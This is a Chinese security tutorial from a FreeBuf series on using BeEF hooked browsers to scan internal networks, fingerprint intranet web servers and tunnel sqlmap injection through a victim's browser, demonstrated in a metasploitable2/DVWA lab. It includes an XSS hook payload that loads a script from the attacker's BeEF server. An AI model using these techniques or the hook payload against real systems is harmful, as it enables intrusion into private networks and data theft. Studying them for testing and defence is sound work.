*本文原创作者:NT00,本文属FreeBuf原创奖励计划,未经许可禁止转载
前言
上一章介绍了Tunneling Proxy技术以及怎样使用这项技术来绕过httponly实现高级的会话窃取。本章探讨如何在不违反SOP情况下,通过勾连浏览器攻击Web应用与攻击网络。其中有一些攻击技术就用到了Tunneling Proxy的技术。
本系列文章前序内容:
攻击网络
攻击Web应用有一些技术需要使用到攻击网络的技术,所以就先介绍攻击网络。这里的攻击网络一般是指攻击内网。想象一下这样的场景:当一个公司内部网络的浏览器被BeEF勾住了,那么可不可以使用它来攻击这个内部网络呢?比如主机扫描,端口扫描。答案是可以的。攻击网络的模块在Network和Host目录。
攻击网络一般有这几步:
1. 识别目标
2. ping sweep
3. 扫描端口
识别目标
识别目标分为两个,一个是识别勾连浏览器的内部IP,另一个是识别勾连浏览器的子网。
BeEF给出了两个攻击模块来识别勾连浏览器的内部IP:Get Internal IP(Java) 与 Get Internal IP WebRTC。两个模块都在Host目录。 一个是使用Java技术, 一个是使用了WebRTC技术。现在已经很少有人会在浏览器中使用Java了。 使用WebRTC会更好些:
识别勾连浏览器的子网只有一个模块:identity LAN Subnets。 这个模块的原理是通过向一些常见的子网段的主机发送XMLHttpRequest请求,然后看看响应的时间,如果主机是活动的,那么响应时间会很短。
这个模块所扫描的子网段是设置好的,可以在 beef主目录/modules/network/identify_lan_subnets/command.js文件中增加。
ping sweep
知道内网ip 或 目标子网段后,下一步就是查看一下子网中有那些主机是活动的。BeEF为此提供了Ping Sweep 模块,它的原理和identify_lan_subnets一样。
下面是笔者的扫描结果:
扫描端口
知道活动主机以后,那么接下来就是进行端口扫描。BeEF提供了 Port Sanner 模块来达成这一目的,其原理是使用IMG标签和自定义的onload/onerrer事件处理程序, 以及计时器。但是现代的浏览器都实现了端口封禁,端口封禁限制了浏览器对某些端口发送http请求,比如 21, 22, 25, 110, 145 等端口, 所以一般无法扫描出这些端口。
下面是扫描结果
攻击Web应用
想象一下两个的情景。
第一个,一家公司的内网用户使用浏览器访问了某个有勾子的外网网站页面(可能是xss等漏洞导致),BeEF在获得了浏览器的控制权后,能不能进一步攻击这家公司的一些内网的Web呢?
第二个场景,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会设置HttpOnly,但是后台的某个功能存在着SQL漏洞,那么能否使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell呢?
上面的两个问题,答案都是可以做到的。从上面的两个场景,可以看出要使用BeEF攻击Web应用主要分为两个种类型。第一种是攻击不同源的Web,对应着第一个场景。第二种是攻击同源的Web,对应着场景二。下面分开来讨论。
攻击不同源Web应用
先来说说攻击不同源Web的原理。从上一章,读者应该能理解到,BeEF可以让被勾住的浏览器向任何域发送HTTP请求。只是在发送跨域时,多数情况下SOP都会阻止浏览器读取HTTP响应。虽然不能读取HTTP响应,但有些攻击是不需要读取的,典型的不需要读取HTTP响应的攻击技术就是CSRF了。
要攻击不同源的Web应用,首先要对它进行充足的侦查。可以利用上面攻击网络的技术来检测一下勾连浏览器的内网有那些Web服务器。当我们知道那个内网主机上是Web服务器,接下来我们要对它进行指纹采集。前几章有提到js,css,图片的静态文件一般不会受SOP限制。而这正是指纹采集的关键,我们可以通过一些已知的静态资源来推测出目标。比如向一个内网的主机请求一个 /icon/apache_pb.gif图片,如果这个主机返回了图片数据,那么这个主机有可能运行着apache。
BeEF给出了两个指纹采集的攻击模块,分别是Get HTTP Servers(Favicon) 和 Fingerprint Local Network。两个模块的原理都是一样的,通过在勾连浏览器中创建一个不可见的IFrame,然后添加一个<img>标签,并设置onload/onerror事件,如果成功加载了图片触发了onload事件,那么就可以根据这个图片来推断出是什么服务器。Get HTTP Servers(Favicon)只会断定加载了那个图片,而Fingerprint Local Network 会计算加载的图片的长宽,然后和数据库对比,最后判断出这是个什么服务器。
下面是笔者用两个模块对内网中metasploitable2 的作出的测试结果:
Get HTTP Servers(Favicon)
Fingerprint Local Network
作出基本的指纹检测后,如果目标是有漏洞了,比如有一台Jboss 6.0.0, 那么就可以使用Jboss 6.0.0M1 JMX Deploy Exploit 模块直接反弹一个meterpreter回来。除了这个漏洞,BeEF也提供了一些CSRF的攻击模块可以使用。由于篇幅原因,这里就不测试了,有兴趣的可以自己搭环境测试。
攻击同源Web应用
攻击不同源的Web应用是有点鸡肋的,必须要满足不少条件才行。但是攻击同源Web应用就相对简单且有效的多。
上面的场景二,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会设置HttpOnly,但是后台的某个功能存在着SQL漏洞。我们要使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell。这里就要用到上一章讲到的 Tunneling Proxy了。
因为没有好的靶子机,这里使用metasploitabel2来做测试了,下面是测试环境:
名称 | 角色 | ip |
---|---|---|
Ubuntu | BeEF服务器 | 外网 |
kali | 攻击者,sqlmap | 外网 |
Windows7 / 浏览器A | 受害者 | 内网 10.0.2.4 |
metasploitable2 | 内网有漏洞的主机 | 内网 10.0.2.5 |
| | |
笔者使用最新的BeEF来测试,BeEF装好后,需要改一下config.yaml中的登录密码,要使用强密码,否则BeEF会在每次启动时给你分配一个随机密码。笔者测试时,发现最新版有一些Bug,导致proxy功能不太好用。经过调试,找到了Bug所在。修改一下beef/extensions/proxy/proxy.rb文件:
修改成红线的两处的path就可以了。运行BeEF, 接着在windows7中用浏览器A访问metasploitable2 的dvwa。 把dvwa的安全调为低,接着使用xss reflected 来注入BeEF的钩子:
<script src="http://BeEF_ip:3000/hook.js" type="text/javascript"></script>
接下来在kali中登录BeEF服务器的管理UI,把浏览器A设置为Tunneling Proxy(参照上一章的方法)。
设置完后,在kali中运行sqlmap,使用--proxy选项,走BeEF的Tunneling Proxy:
下面时结果图:
在使用sqlmap走BeEF隧道时,建议不要使用 --technique=T, 因为在走隧道时也会消耗时间,所以注入结果会不准确。
这里只演示了sqlmap, 实际上burp也是可以走BeEF隧道了。这里旧不进行演示了,有兴趣的朋友可以自己玩。
结语
这一章到这里就结束了,下一章会介绍更好玩的攻击手段,攻击用户和浏览器。对本章有疑问或纠错的可以在评论里留言。
*本文原创作者:NT00,本文属FreeBuf原创奖励计划,未经许可禁止转载